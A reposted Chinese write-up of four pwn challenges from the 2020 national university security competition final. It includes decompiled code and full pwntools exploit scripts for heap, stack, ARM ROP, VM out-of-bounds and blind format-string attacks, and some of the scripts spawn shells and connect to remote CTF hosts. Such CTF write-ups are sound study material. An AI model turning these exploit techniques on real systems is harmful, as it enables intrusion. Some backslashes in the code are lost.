全国大学生信息安全竞赛决赛部分pwn题解

admin 2020年12月21日16:34:42评论479 views字数 21268阅读70分53秒阅读模式

更多全球网络安全资讯尽在邑安全

全国大学生信息安全竞赛决赛部分pwn题解

前言

比赛第一天为非典型性awd,第二天为解题赛,这里分析第一天的pwn3和第二天的题。

day1-pwn3

程序逻辑

主程序有一个死循环,每次启动一个新线程。线程函数里每次先将返回地址保存到bss处,之后调用gets读取栈变量,此处有溢出。而printf_chk函数是一个安全的格式化字符串函数,不可使用诸如%k$p/%n之类的格式化字符串。在使用%p泄露地址时,需要用连续的%p作为输入。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  pthread_t newthread; // [rsp+0h] [rbp-10h]  unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); setbuf(stderr, 0LL); while ( 1 ) { if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) == -1 ) puts("create thread failed"); pthread_join(newthread, 0LL); }}//unsigned __int64 __fastcall start_routine(void *a1){ char v2; // [rsp+0h] [rbp-40h] unsigned __int64 v3; // [rsp+38h] [rbp-8h] __int64 retaddr; // [rsp+48h] [rbp+8h]
v3 = __readfsqword(0x28u); ret_address = (__int64)&retaddr; save_ret = retaddr; gets(&v2); __printf_chk(1LL, &v2); *(_QWORD *)ret_address = save_ret; return v3 - __readfsqword(0x28u);}

漏洞利用

由于在返回前子函数会将之前保存的地址再赋值给栈上对应位置处,因此溢出返回地址没有意义,比赛的时候我们通过fuzz发现输入a*8*256会造成crash,发现这里的rbx可控,进而可以控制rdi及rax,任意函数调用。

全国大学生信息安全竞赛决赛部分pwn题解

全国大学生信息安全竞赛决赛部分pwn题解

赛后去查了下源码,发现退出的函数位于stdlib/cxa_thread_atexit_impl.c,代码如下。struct dtor_list结构体的成员包含有funcobj,因此可以利用这个调用链,溢出到cur结构体,伪造func和obj,最后调用system("/bin/sh")

另外注意线程栈是mmap出来的,其和libc之间的偏移是固定的,我们可以通过leak libc地址间接得到输入地址。

在最终调用func之前,还有一次ror rax,0x11xor rax, gs[0x30],需要leak出tls的pointer_guard成员。

* Call the destructors.  This is called either when a thread returns from the   initial function or when the process exits via the exit function.  */void__call_tls_dtors (void){  while (tls_dtor_list)    {      struct dtor_list *cur = tls_dtor_list;      dtor_func func = cur->func;#ifdef PTR_DEMANGLE      PTR_DEMANGLE (func);#endif
tls_dtor_list = tls_dtor_list->next; func (cur->obj);
/* Ensure that the MAP dereference happens before l_tls_dtor_count decrement. That way, we protect this access from a potential DSO unload in _dl_close_worker, which happens when l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */ atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1); free (cur); }}/*struct dtor_list{ dtor_func func; void *obj; struct link_map *map; struct dtor_list *next;};*/

exp.py

#coding:utf-8
from pwn import *import sys,os,string
elf_path = './pwn'remote_libc_path = ''
#P = ELF(elf_path)context(os='linux',arch='amd64')context.terminal = ['tmux','split','-h']#context.terminal = ['tmux','split','-h']context.log_level = 'debug'
local = 1if local == 1: p = process(elf_path) if context.arch == 'amd64': libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: libc = ELF('/lib/i386-linux-gnu/libc.so.6')else: p = remote() #libc = ELF(remote_libc_path)

def ROL(data, shift, size=64): shift %= size remains = data >> (size - shift) body = (data << shift) - (remains << size ) return (body + remains)

def ROR(data, shift, size=64): shift %= size body = data >> shift remains = (data << (size - shift)) - (body << size) return (body + remains)

payload = '%p'*13sleep(0.1)#raw_input()p.sendline(payload)p.recvn(14)libcbase = int(p.recv(14),16)-libc.sym['_IO_2_1_stdin_']log.success('libcbase = '+hex(libcbase))p.recvuntil('7000x')p.recvuntil('7000x')canary = int(p.recv(16),16)log.success('canary = '+hex(canary))
#gdb.attach(p)gadgets = [0x4f2c5,0x4f322,0x10a38c]shell_addr = libcbase + gadgets[0]#tls_addr = libcbase - 0x900 + 0x30tls_addr = libcbase + 0x816740 + 0x30print hex(tls_addr)fake_addr= 0x12345678print hex(shell_addr)payload = "%p"*6+"%s"+"%s"+p64(tls_addr)+p64(libcbase+libc.sym['environ'])#payload = 'a'*0x38+p64(canary)+p64(0xdeadbeef)+'a'*8*240+p64(fake_addr)#payload = payload.ljust(0x500,'a')#gdb.attach(p,'''# b *(0x555555554000+0x11E0)# b *(0x555555554000+0x128E)# ''')#raw_input()sleep(0.1)p.sendline(payload)p.recvuntil("0x7325732570257025")guard = u64(p.recvn(8))log.success("fs 0x30 guard " + hex(guard))stack_addr = u64(p.recvn(6).ljust(8,'x00'))log.success("stack addr => " + hex(stack_addr))input_addr = libcbase - 0x1150#get shell#raw_input()sleep(0.1)p.sendline(payload)#system_enc = circular_shift_left(libcbase+libc.sym['system'],0x11,64)system_enc = (libcbase+libc.sym['system']) ^ guardsystem_enc = ROL(system_enc,0x11)
payload = p64(system_enc)+p64(libcbase+libc.search("/bin/sh").next())payload += 'x00'*0x28payload += p64(canary)payload += p64(0xdeadbeef)payload += p64(input_addr)*246payload += p64(input_addr)sleep(0.1)#raw_input()p.sendline(payload)p.interactive()

day2-pwn1

程序逻辑

基础的栈溢出,arm32架构

int __cdecl main(int argc, const char **argv, const char **envp){  char buf; // [sp+0h] [bp-104h]
setvbuf((FILE *)stdout, 0, 2, 0); printf("input: "); read(0, &buf, 0x300u); return 0;}

漏洞利用

程序的gadget很少,arm调用的前四个参数寄存器是r0-r4,这里看到只有r3/r4可控.

─wz@wz-virtual-machine ~/Desktop/CTF/ciscn_final/day2/pwn1pm ‹hexo*› ╰─$ file ./bin ./bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, not stripped╭─wz@wz-virtual-machine ~/Desktop/CTF/ciscn_final/day2/pwn1pm ‹hexo*› ╰─$ checksec ./bin[*] '/home/wz/Desktop/CTF/ciscn_final/day2/pwn1pm/bin'    Arch:     arm-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled╭─wz@wz-virtual-machine ~/Desktop/CTF/ciscn_final/day2/pwn1pm ‹hexo*› ╰─$ ROPgadget --binary ./bin --only 'pop'                                                                                               1Gadgets information============================================================0x00010348 : pop {r3, pc}0x00010498 : pop {r4, pc}
Unique gadgets found: 2

查看一下汇编,发现这里的r0、r1都可以间接控制,从而任意函数调用。

全国大学生信息安全竞赛决赛部分pwn题解

漏洞利用

这里有两种思路,第一种是劫持返回地址到printf前的地址,通过最后的pop {fp, pc}控制fp为bss地址,pc到pop_r3_pc来劫持r3为printf@got,再去执行printf泄露libc地址,最后read溢出执行system("/bin/sh")

另一种是利用qemu-arm启动时的特性,NX保护实际上并没有开启,bss段可执行,第一次溢出栈迁移到bss,并部署好shellcode,第二次跳到对应位置执行shellcode。

rop.py

#coding=utf-8from pwn import *
r = lambda p:p.recv()rl = lambda p:p.recvline()ru = lambda p,x:p.recvuntil(x)rn = lambda p,x:p.recvn(x)rud = lambda p,x:p.recvuntil(x,drop=True)s = lambda p,x:p.send(x)sl = lambda p,x:p.sendline(x)sla = lambda p,x,y:p.sendlineafter(x,y)sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='arm',os='linux',log_level='DEBUG')context.terminal = ['tmux','split','-h']debug = 1elf = ELF('./bin')libc_offset = 0x3c4b20gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6')if debug == 1: p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./bin"])elif debug == 2: p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./bin"])
p_r3_pc = 0x00010348
def exp(): #leak libc bss = elf.bss()+0x500 sc = asm(shellcraft.sh()) payload = 'a'*0x100 payload += p32(bss+0x104) payload += p32(p_r3_pc) payload += p32(elf.got['printf']) payload += p32(0x104d8) p.recvuntil("input: ") raw_input() p.sendline(payload) libc_base = u32(p.recvn(4)) - libc.sym['printf'] log.success("libc base => " + hex(libc_base)) raw_input() p_r0_r = libc_base + 0x00056b7c payload = sc payload = payload.ljust(0x100,'x00') payload += p32(bss+4) payload += p32(p_r0_r) payload += p32(libc_base+0x000ca574)+p32(0) payload += p32(libc_base+libc.sym['system']) p.sendline(payload) p.interactive()
exp()

sc.py

#coding=utf-8from pwn import *
r = lambda p:p.recv()rl = lambda p:p.recvline()ru = lambda p,x:p.recvuntil(x)rn = lambda p,x:p.recvn(x)rud = lambda p,x:p.recvuntil(x,drop=True)s = lambda p,x:p.send(x)sl = lambda p,x:p.sendline(x)sla = lambda p,x,y:p.sendlineafter(x,y)sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='arm',os='linux',log_level='DEBUG')context.terminal = ['tmux','split','-h']debug = 1elf = ELF('./bin')libc_offset = 0x3c4b20gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6')if debug == 1: p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./bin"])elif debug == 2: p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./bin"])
p_r3_pc = 0x00010348
def exp(): #leak libc bss = elf.bss()+0x500 sc = asm(shellcraft.sh()) payload = 'a'*0x100 payload += p32(bss+0x104) payload += p32(p_r3_pc) payload += p32(bss) payload += p32(0x104e4) raw_input() p.sendline(payload) raw_input() payload = sc payload = payload.ljust(0x100,'x00') payload += p32(bss+4) payload += p32(bss) p.sendline(payload) p.interactive()
exp()

day2-pwn2

程序逻辑

VMPwn类型的题目,程序没有开PIE。

在主要函数里的0xe指令可以控制*(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr)为任意值,结合0x2指令可以实现地址越界写,0x1指令可以实现地址越界读。但是越界只能往高地址越界读写。

__int64 __fastcall main(__int64 a1, char **a2, char **a3){  unsigned __int64 i; // [rsp+0h] [rbp-30h]  node *node_addr; // [rsp+8h] [rbp-28h]  unsigned __int64 nmemb; // [rsp+10h] [rbp-20h]  unsigned __int64 nbytes; // [rsp+18h] [rbp-18h]  unsigned __int64 code_sz; // [rsp+20h] [rbp-10h]
node_addr = (node *)calloc(0x40uLL, 1uLL); printf("stack size >", 1LL); nmemb = read_int(); if ( nmemb > 0xFFFFF || nmemb <= 0xFFF || nmemb & 0xFFF ) { puts("invalid stack size!"); exit(0); } node_addr->stack_sz = nmemb; node_addr->stack_sz_divie_2 = nmemb >> 1; node_addr->stack_addr = (__int64)calloc(nmemb, 1uLL); if ( !node_addr->stack_addr ) exit(-1); printf("data size >", 1LL); nbytes = read_int(); if ( nbytes > 0xFFFFF || nbytes <= 0xFFF || nbytes & 0xFFF ) { puts("invalid data size!"); exit(0); } node_addr->data_sz = nbytes; node_addr->data_addr = (__int64)calloc(nbytes, 1uLL); if ( !node_addr->data_addr ) exit(-1); printf("initial data >", 1LL); read(0, (void *)node_addr->data_addr, nbytes); printf("code size >"); code_sz = read_int(); if ( code_sz > 0xFFFFF || code_sz <= 0xFFF || code_sz & 0xFFF ) { puts("invalid code size!"); exit(0); } node_addr->code_sz = code_sz; node_addr->code_addr = (__int64)calloc(code_sz, 1uLL); node_addr->_rip = 0LL; if ( !node_addr->code_addr ) exit(-1); printf("initial code >", 1LL); read(0, (void *)node_addr->code_addr, code_sz); for ( i = 0LL; i <= 0x7FF && !(unsigned int)main_func(node_addr); ++i ) ; printf("data: "); write(1, (const void *)node_addr->data_addr, node_addr->data_sz); puts(&byte_40179C); return 0LL;}//signed __int64 __fastcall main_func(node *node_addr){ signed __int64 result; // rax __int64 v2; // ST20_8 __int64 v3; // ST20_8 __int64 v4; // ST20_8 __int64 v5; // ST20_8 __int64 v6; // ST20_8 __int64 v7; // ST20_8 __int64 v8; // ST20_8 __int64 v9; // ST20_8 __int64 v10; // ST20_8 __int64 v11; // ST20_8
if ( node_addr->_rip > (unsigned __int64)(node_addr->code_sz - 1) || node_addr->stack_sz_divie_2 > (unsigned __int64)(node_addr->stack_sz - 8) ) { return 0xFFFFFFFFLL; } switch ( *(unsigned __int8 *)(node_addr->code_addr + node_addr->_rip) ) { case 0u: result = 0xFFFFFFFFLL; break; case 1u: if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 8) )// arb read { *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = *(_QWORD *)(8LL * (*(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) >> 3) + node_addr->data_addr); goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 2u: // mov if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) ) { *(_QWORD *)(node_addr->data_addr + 8LL * (*(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) >> 3)) = *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)); node_addr->stack_sz_divie_2 += 0x10LL; goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 3u: // add if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) ) { v2 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) + *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)); node_addr->stack_sz_divie_2 += 8LL; *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v2; goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 4u: // sub if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) ) { v3 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) - *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)); node_addr->stack_sz_divie_2 += 8LL; *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v3; goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 5u: // * if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) ) { v4 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) * *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)); node_addr->stack_sz_divie_2 += 8LL; *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v4; goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 6u: // / if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) ) { if ( *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)) ) { v5 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) / *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)); node_addr->stack_sz_divie_2 += 8LL; *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v5; goto LABEL_56; } result = 0xFFFFFFFFLL; } else { result = 0xFFFFFFFFLL; } break; case 7u: // % if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) ) { if ( *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)) ) { v6 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) % *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)); node_addr->stack_sz_divie_2 += 8LL; *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v6; goto LABEL_56; } result = 0xFFFFFFFFLL; } else { result = 0xFFFFFFFFLL; } break; case 8u: // & if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) ) { v7 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) & *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)); node_addr->stack_sz_divie_2 += 8LL; *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v7; goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 9u: // | if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) ) { v8 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) | *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)); node_addr->stack_sz_divie_2 += 8LL; *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v8; goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 0xAu: // ^ if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) ) { v9 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) ^ *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)); node_addr->stack_sz_divie_2 += 8LL; *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v9; goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 0xBu: // ~ if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 8) ) { *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = ~*(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)); goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 0xCu: // << if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) ) { v10 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) << *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)); node_addr->stack_sz_divie_2 += 8LL; *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v10; goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 0xDu: // >> if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 16) ) { v11 = *(_QWORD *)(node_addr->stack_addr + 8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3)) >> *(_QWORD *)(node_addr->stack_addr + 8 * (((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + 1)); node_addr->stack_sz_divie_2 += 8LL; *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = v11; goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 0xEu: if ( node_addr->stack_sz_divie_2 > 7uLL ) // 可控 { node_addr->stack_sz_divie_2 -= 8LL; *(_QWORD *)(8 * ((unsigned __int64)node_addr->stack_sz_divie_2 >> 3) + node_addr->stack_addr) = *(_QWORD *)(node_addr->code_addr + node_addr->_rip + 1); node_addr->_rip += 8LL; goto LABEL_56; } result = 0xFFFFFFFFLL; break; case 0xFu: // add pointer if ( node_addr->stack_sz_divie_2 <= (unsigned __int64)(node_addr->stack_sz - 8) ) { node_addr->stack_sz_divie_2 += 8LL;LABEL_56: ++node_addr->_rip; result = 0LL; } else { result = 0xFFFFFFFFLL; } break; default: result = 0xFFFFFFFFLL; break; } return result;}

漏洞利用

当分配大小大于等于0x23000时会触发mmap,测试发现这里的map地址刚好在ld.so可写区域上方,偏移固定。而_rtld_global+3848处有一函数指针在函数退出时会被调用,参数为_rtld_global+2312,通过越界读写配合add/sub指令布置system函数指针及/bin/sh字符串,最终在函数退出时调用system("/bin/sh")

exp.py

#coding=utf-8from pwn import *
r = lambda p:p.recv()rl = lambda p:p.recvline()ru = lambda p,x:p.recvuntil(x)rn = lambda p,x:p.recvn(x)rud = lambda p,x:p.recvuntil(x,drop=True)s = lambda p,x:p.send(x)sl = lambda p,x:p.sendline(x)sla = lambda p,x,y:p.sendlineafter(x,y)sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')context.terminal = ['tmux','split','-h']debug = 2elf = ELF('./StackMachine')libc_offset = 0x3c4b20gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]if debug: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./StackMachine')elif debug == 2: libc = ELF('./libc.so.6') p = process('./StackMachine',env={'LD_PRELOAD':'./libc.so.6'})else: libc = ELF('./libc.so.6') p = remote('f.buuoj.cn',20173)
def AllocStack(sz): p.sendlineafter("stack size >",str(sz))
def AllocData(sz,data): p.sendlineafter("data size >",str(sz)) p.recvuntil("initial data >") p.sendline(data)
def AllocCode(sz,code): p.sendlineafter("code size >",str(sz)) p.recvuntil("tial code >") p.sendline(code)
def exp(): #leak libc AllocStack(0xff000) main_addr = 0x401346 offset = 0 gdb.attach(p,'b *0x400b9enb* 0x400a7a') AllocData(0x23000,p64(0x3858f0)+"/bin/shx00") payload = p8(0xe)+p64(0) payload += p8(1) payload += p8(0xe)+p64(0x14af38) payload += p8(1) payload += p8(4) payload += p8(0xe)+p64(0x14af38) payload += p8(2) payload += p8(0xe)+"/bin/shx00" payload += p8(0xe)+p64(0x14af38-0x600) payload += p8(2) #payload += p8(0xe)+p64(main_addr) #payload += p8(0xe)+p64(0x23000-8) #payload += p8(2) #payload += p8(0xe)+p64(main_addr)
AllocCode(0x1000,payload) p.interactive()
exp()

pwn3

程序逻辑

逻辑和2019年d3ctf的unprintableV一模一样,不一样的是这里的bss上的stdout对应位置不可写。不可以用之前方式先修改bss的stdout.fileno为2,再leak和write rops。

int main_func_0(){  int result; // eax  char *v1; // [rsp+8h] [rbp-8h]
v1 = s1; puts("Oh! I hear you love Ciscn2020, so I have a gift for you!"); printf("Gift: %pn", &v1); puts("Come in quickly, I will close the door."); close(1); while ( 1 ) { result = strncmp(s1, "Ciscn20", 7uLL); if ( !result ) break; main_func(); } return result;}//int main_func(){ get_input(s1, 0x120LL); return printf(s1, 0x120LL);}

漏洞利用

通过测试发现栈上残存了一些stdout指针,不过因为其位置位于printf字符串寻址的低地址处,无法控制,修改printf返回地址或者main_func返回地址的低字节到start函数,在__libc_start_main调用的时候会大幅度减栈,使得这些stdout指针转移到新的printf函数栈帧高地址处,从而可以覆写其fileno为2来重新输出内容。

在之后在栈上布置pop rspinput_addr,触发时栈迁移到bss来执行rop读取flag。

exp.py

由于写入字节数不可大于0x2000,所以要爆破栈地址3/16,proc_base地址1/2字节,概率大概是1/(16*16/3)。

#coding=utf-8from pwn import *
r = lambda p:p.recv()rl = lambda p:p.recvline()ru = lambda p,x:p.recvuntil(x)rn = lambda p,x:p.recvn(x)rud = lambda p,x:p.recvuntil(x,drop=True)s = lambda p,x:p.send(x)sl = lambda p,x:p.sendline(x)sla = lambda p,x,y:p.sendlineafter(x,y)sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='info')context.terminal = ['tmux','split','-h']debug = 1elf = ELF('./anti.bak')libc_offset = 0x3c4b20gadgets = [0x45226,0x4527a,0xcd173,0xcd248,0xf0364,0xf0370,0xf1207,0xf67b0]
#p = process('./anti.bak')def WriteVal(stack_low,off,val,signle=False): payload = "%"+str(stack_low+off)+"c%6$hn" sleep(0.02) p.sendline(payload) if not signle: payload = "%"+str(val)+"c%10$hn" else: payload = "%"+str(val)+"c%10$hhn" sleep(0.02) p.sendline(payload)

def exp(): #leak stack p.recvuntil("Oh! I hear you love Ciscn2020, so I have a gift for you!") p.recvuntil("Gift: 0x") stack_addr = int(p.recvline().strip('n'),16) log.success("stack addr => " + hex(stack_addr)) #for item in gadgets: # print hex(0x7ffff7a0d000+item) sleep(0.02) stack_low = stack_addr & 0xffff if stack_low > 0x2000: return 0 stack_low_1 = stack_addr & 0xff stack_low_2 = (stack_addr & 0xffff) >> 8 payload = '%'+str(stack_low-0x20)+"c%6$hhn"
sleep(0.02) p.recvuntil("Come in quickly, I will close the door.n") p.sendline(payload) payload = '%'+str(0xa90)+"c%10$hn" sleep(0.02) p.sendline(payload)
#change the fileno position #%29$p
WriteVal(stack_low,-0x70,0x90,signle=True) payload = "%"+str(2)+"c%29$hhn" sleep(0.02) p.sendline(payload) #leak libc
payload = "-%13$p+" sleep(0.02) p.sendline(payload) print "got here" p.recvuntil("-0x") libc_base = int(p.recvuntil("+",drop=True),16) - 240 - libc.sym['__libc_start_main'] log.success("libc base => " + hex(libc_base)) libc.address = libc_base # payload = "-%p+" sleep(0.02) p.sendline(payload) p.recvuntil("0x")
proc_base = int(p.recvuntil("+",drop=True),16) - (0x5616ed121b04+0x540-0x00005616ecf20000) log.success("proc base => " + hex(proc_base)) raw_input()
p_rsp_r3 = proc_base + 0x000000000000104d gdb.attach(p,'b printf') WriteVal(stack_low,-0x100,p_rsp_r3&0xff,signle=True) WriteVal(stack_low,-0x100+1,(p_rsp_r3&0xffff)>>8,signle=True) WriteVal(stack_low,-0x100+2,(p_rsp_r3&0xffffff)>>16,signle=True)
#write bss addr to stack target = proc_base + 0x202040 WriteVal(stack_low,-0xf8,target&0xff,signle=True) WriteVal(stack_low,-0xf8+1,(target&0xffff)>>8,signle=True)
WriteVal(stack_low,-0xf8+2,(target&0xffffff)>>16,signle=True) #write pop rsp to stack# p_rdi = libc_base + 0x0000000000021112 p_rsi = libc_base + 0x00000000000202f8 p_rdx = libc_base + 0x0000000000001b92 p_rax = libc_base + 0x000000000003a738 syscall = libc_base + 0x00000000000bc3f5 payload = "Ciscn20x00" payload += "./flagx00x00"*2 payload += flat([ p_rdi,target+0x8,p_rsi,0,p_rdx,0,p_rax,2,syscall, p_rdi,1,p_rsi,target+0x200,p_rdx,0x30,p_rax,0,syscall, p_rdi,2,p_rsi,target+0x200,p_rdx,0x30,p_rax,1,syscall ]) sleep(0.02) p.sendline(payload)


return 1#exp()#p.interactive()
while True: if debug: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') p = process('./anti.bak') else: libc = ELF('./libc.so.6') p = remote('183.129.189.62',58704) a = 0 try: a = exp() if a == 0: p.close() continue else: p.interactive() p.close() except: p.close()        continue
        

后言

day2-pwn3这道题当时做的时候弹栈的方法没有想的很明白,劫持到了一个sub rsp,0x10的gadget,在随后的执行过程中stdout指针被新值覆写故放弃了这个思路,之后西湖论剑的初赛看到fmyy师傅分享的劫持到start函数的思路,遂复现了一遍,非常感觉师傅的分享。

原文来自安全客

原文作者:xmzyshypnc

原文链接: https://www.anquanke.com/post/id/219140

欢迎收藏并分享朋友圈,让五邑人网络更安全

全国大学生信息安全竞赛决赛部分pwn题解

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!


推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 



本文始发于微信公众号(邑安全):全国大学生信息安全竞赛决赛部分pwn题解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月21日16:34:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   全国大学生信息安全竞赛决赛部分pwn题解http://cn-sec.com/archives/162801.html

发表评论

匿名网友 填写信息